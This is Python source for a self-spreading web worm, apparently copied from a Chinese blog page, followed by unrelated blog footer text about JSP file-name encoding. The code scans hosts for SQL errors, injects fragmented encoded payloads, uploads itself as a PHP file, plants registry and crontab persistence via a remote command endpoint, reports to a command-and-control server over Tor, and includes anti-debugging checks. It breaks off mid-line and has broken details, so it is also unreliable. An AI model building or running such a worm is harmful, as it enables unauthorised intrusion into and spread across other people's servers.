import base64
import random
import string
import hmac
import hashlib
import time
import sys
import ctypes
import os
from urllib.parse import urlparse, quote
import requests
import socket
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
import logging
import socks
import stem.process
# 配置日志记录器
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
# 全局变量，用于密钥轮换
current_key_index = 0
symmetric_keys = []
for _ in range(5):
symmetric_keys.append(''.join(random.choices(string.ascii_letters + string.digits, k=16)).encode('utf - 8'))
# 动态HMAC算法列表
hmac_algorithms = [hashlib.sha256, hashlib.sha384, hashlib.sha512]
class Scanner:
def __init__(self):
self.targets = []
self.persistence_file = 'targets.txt'
self.load_targets()
def add_target(self, url):
self.targets.append(url)
self.save_targets()
def find_vulnerable_hosts(self):
vulnerable_hosts = []
for target in self.targets:
if self._check_vulnerable(target):
vulnerable_hosts.append(target)
return vulnerable_hosts
def _check_vulnerable(self, target):
try:
socket.gethostbyname(urlparse(target).hostname)
except socket.gaierror:
logging.error(f"无法解析主机名: {urlparse(target).hostname}")
return False
if not urlparse(target).scheme:
target = 'http://' + target
headers = {
'User - Agent': self._generate_random_user_agent(),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': target
}
paths_to_check = self._generate_paths()
for path in paths_to_check:
try:
time.sleep(random.uniform(1, 3))
response = requests.get(target + path, headers=headers)
if response.status_code == 200:
if self._is_suspicious(response.text):
logging.info(f"{target} 可能存在漏洞，状态码: {response.status_code}")
return True
else:
logging.info(f"{target} 状态码200但内容无异常，路径: {path}")
else:
logging.info(f"{target} 状态码非200，路径: {path}，状态码: {response.status_code}")
except requests.RequestException as e:
logging.error(f"Check vulnerable request exception: {e}")
return False
def _generate_random_user_agent(self):
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
]
return random.choice(user_agents)
def _generate_paths(self):
common_paths = ['/login.php', '/admin.php', '/index.php']
random_paths = ['/' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(5, 10))) for _ in range(3)]
return common_paths + random_paths
def _is_suspicious(self, response_text):
keywords = ['sql error', 'unexpected token', 'database error']
for keyword in keywords:
if keyword in response_text.lower():
return True
return False
def load_targets(self):
try:
with open(self.persistence_file, 'r') as f:
self.targets = f.read().splitlines()
except FileNotFoundError:
pass
def save_targets(self):
with open(self.persistence_file, 'w') as f:
for target in self.targets:
f.write(target + '\n')
class PropagationEngine:
def propagate_to_target(self, target, payload):
upload_paths = ['/upload.php', '/file_upload.php', '/upload_file.php']
for upload_path in upload_paths:
try:
time.sleep(random.uniform(1, 3))
files = {'file': ('malicious_file.php', payload)}
headers = self._generate_headers()
response = requests.post(target + upload_path, files=files, headers=headers)
if response.status_code == 200:
logging.info(f"成功传播到目标 {target}")
return True
else:
logging.info(f"传播到目标 {target} 失败，状态码: {response.status_code}")
except requests.RequestException as e:
logging.error(f"传播到目标 {target} 时出错: {e}")
return False
def _generate_headers(self):
headers = {
'User - Agent': self._generate_random_user_agent(),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
}
# 这里可以添加更多处理CSRF token等逻辑，暂时先留空
return headers
def _generate_random_user_agent(self):
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
]
return random.choice(user_agents)
class MultiArchPayload:
def __init__(self):
self.payload_segments = []
self.encoding_methods = [self._base64_encode, self._hex_encode, self._url_encode]
def generate_mutation(self, base_payload):
self.payload_segments = []
num_segments = random.randint(3, 5)
segment_size = len(base_payload) // num_segments
remaining = len(base_payload) % num_segments
start = 0
for i in range(num_segments):
end = start + segment_size
if i == num_segments - 1:
end += remaining
segment = base_payload[start:end]
encoding_method = random.choice(self.encoding_methods)
encoded_segment = encoding_method(segment)
self.payload_segments.append(encoded_segment)
return self.payload_segments
def _base64_encode(self, data):
return base64.b64encode(data).decode('utf - 8')
def _hex_encode(self, data):
return data.hex()
def _url_encode(self, data):
return quote(data.decode('utf - 8'))
class WormFramework:
def __init__(self):
self.payload_generator = MultiArchPayload()
self.vulnerability_scanner = Scanner()
self.propagator = PropagationEngine()
self.rsa_key = RSA.generate(2048)
self.private_key = self.rsa_key.export_key()
self.public_key = self.rsa_key.publickey().export_key()
self.worm_code = self._read_worm_code()
self.c2_server_url = 'http://your_c2_server.com'
self.tor_process = None
def generate_payload(self, base_payload):
return self.payload_generator.generate_mutation(base_payload)
def scan_targets(self):
targets = self.vulnerability_scanner.find_vulnerable_hosts()
logging.info(f"发现的可能存在漏洞的目标: {targets}")
return targets
def exploit_target(self, target, base_payload):
if not urlparse(target).scheme:
target = 'http://' + target
injection_path = self._get_injection_path(target)
if not injection_path:
return False
malicious_payload_segments = self.generate_payload(base_payload)
success = False
max_retries = 3
for segment in malicious_payload_segments:
for retry in range(max_retries):
try:
time.sleep(random.uniform(1, 3))
url = target + injection_path + 'id=' + segment
headers = {
'User - Agent': self.vulnerability_scanner._generate_random_user_agent(),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': target
}
logging.info(f"尝试发送恶意请求: {url}")
response = requests.get(url, headers=headers)
if response.status_code == 200:
logging.info(f"恶意请求成功，状态码: {response.status_code}")
success = True
break
else:
logging.info(f"恶意请求失败，状态码: {response.status_code}")
except requests.RequestException as e:
logging.error(f"Exploit SQL injection request exception: {e}")
if retry < max_retries - 1:
time.sleep(2)
continue
if success:
break
if not success:
logging.info("所有恶意负载注入尝试均失败。")
return success
def inject_payload(self, target, base_payload):
logging.info(f"正在向目标 {target} 注入有效载荷")
self._send_encrypted_payload(target, base_payload)
def propagate(self, base_payload):
global current_key_index
logging.info("开始传播流程")
if self._should_delay():
time.sleep(random.randint(3600, 7200)) # 延迟1 - 2小时
for target in self.scan_targets():
logging.info(f"开始检测并尝试利用目标 {target}")
if self.exploit_target(target, base_payload):
encrypted_payload = self._encrypt_payload(self.worm_code)
if self.propagator.propagate_to_target(target, encrypted_payload):
self._install_persistence(target)
current_key_index = (current_key_index + 1) % len(symmetric_keys)
self._send_status_to_c2('Propagation success')
def _get_injection_path(self, target):
paths = ['/vulnerable_page.php?', '/inject.php?']
for path in paths:
try:
response = requests.get(target + path)
if response.status_code == 200:
return path
except requests.RequestException:
pass
return None
def _encrypt_payload(self, base_payload):
global current_key_index
session_key = symmetric_keys[current_key_index]
cipher_aes = AES.new(session_key, AES.MODE_CBC)
padded_data = pad(base_payload, AES.block_size)
encrypted_data = cipher_aes.encrypt(padded_data)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.public_key))
encrypted_session_key = cipher_rsa.encrypt(session_key)
iv = base64.b64encode(cipher_aes.iv).decode('utf - 8')
encrypted_session_key_b64 = base64.b64encode(encrypted_session_key).decode('utf - 8')
encrypted_data_b64 = base64.b64encode(encrypted_data).decode('utf - 8')
hmac_algorithm = random.choice(hmac_algorithms)
h = hmac.new(session_key, encrypted_data, hmac_algorithm)
hmac_digest = base64.b64encode(h.digest()).decode('utf - 8')
combined_data = f"{encrypted_session_key_b64}:{iv}:{encrypted_data_b64}:{hmac_digest}:{hmac_algorithm.__name__}"
return combined_data.encode('utf - 8')
def _decrypt_payload(self, encrypted_payload):
global current_key_index
parts = encrypted_payload.decode('utf - 8').split(':')
encrypted_session_key_b64, iv_b64, encrypted_data_b64, hmac_digest_b64, hmac_algorithm_name = parts
encrypted_session_key = base64.b64decode(encrypted_session_key_b64)
iv = base64.b64decode(iv_b64)
encrypted_data = base64.b64decode(encrypted_data_b64)
received_hmac_digest = base64.b64decode(hmac_digest_b64)
hmac_algorithm = getattr(hashlib, hmac_algorithm_name)
session_key = symmetric_keys[current_key_index]
h = hmac.new(session_key, encrypted_data, hmac_algorithm)
expected_hmac_digest = h.digest()
if hmac.compare_digest(received_hmac_digest, expected_hmac_digest):
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(self.private_key))
session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher_aes.decrypt(encrypted_data), AES.block_size)
return decrypted_data
else:
logging.error("HMAC验证失败，数据可能被篡改")
return None
def _read_worm_code(self):
with open(__file__, 'rb') as f:
return f.read()
def _install_persistence(self, target):
if sys.platform.startswith('win'):
# 注册表自启动
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "worm_service", 0, winreg.REG_SZ, sys.executable)
winreg.CloseKey(key)
elif sys.platform.startswith('linux'):
# 之前的crontab方式
command = f"echo '*/5 * * * * python3 {os.path.abspath(__file__)}' | crontab -"
try:
response = requests.post(target + '/execute_command.php', data={'command': command})
if response.status_code == 200:
logging.info(f"在目标 {target} 上成功安装持久化机制")
else:
logging.info(f"在目标 {target} 上安装持久化机制失败，状态码: {response.status_code}")
except requests.RequestException as e:
logging.error(f"在目标 {target} 上安装持久化机制时出错: {e}")
def _send_status_to_c2(self, status):
try:
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
response = requests.post(self.c2_server_url + '/status', json={'status': status}, verify=False)
if response.status_code == 200:
logging.info("成功向C2服务器发送状态")
else:
logging.error(f"向C2服务器发送状态失败，状态码: {response.status_code}")
except requests.RequestException as e:
logging.error(f"向C2服务器发送状态时出错: {e}")
finally:
socket.socket = socket._realsocket
def _should_delay(self):
# 简单的延迟触发逻辑
return random.random() < 0.5
def _check_debugger_present(self):
kernel32 = ctypes.windll.kernel32
return kernel32.IsDebuggerPresent()
def _check_cpu_cores(self):
if sys.platform.startswith('win'):
kernel32 = ctypes.windll.kernel32
system_info = ctypes.wintypes.SYSTEM_INFO()
kernel32.GetSystemInfo(ctypes.byref(system_info))
return system_info.dwNumberOfProcessors
elif sys.platform.startswith('linux'):
return os.cpu_count()
def _start_tor(self):
try:
self.tor_process = stem.process.launch
最新发布
本文解决使用公司规则（旗正4.0）做jsp页面的下载时，文件名乱码的问题。通过直接将上传文件地址保存到MySQL数据库中，避免了文件名乱码现象，并提供了切割字符串获取正确文件地址的方法。
扫一扫
308
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
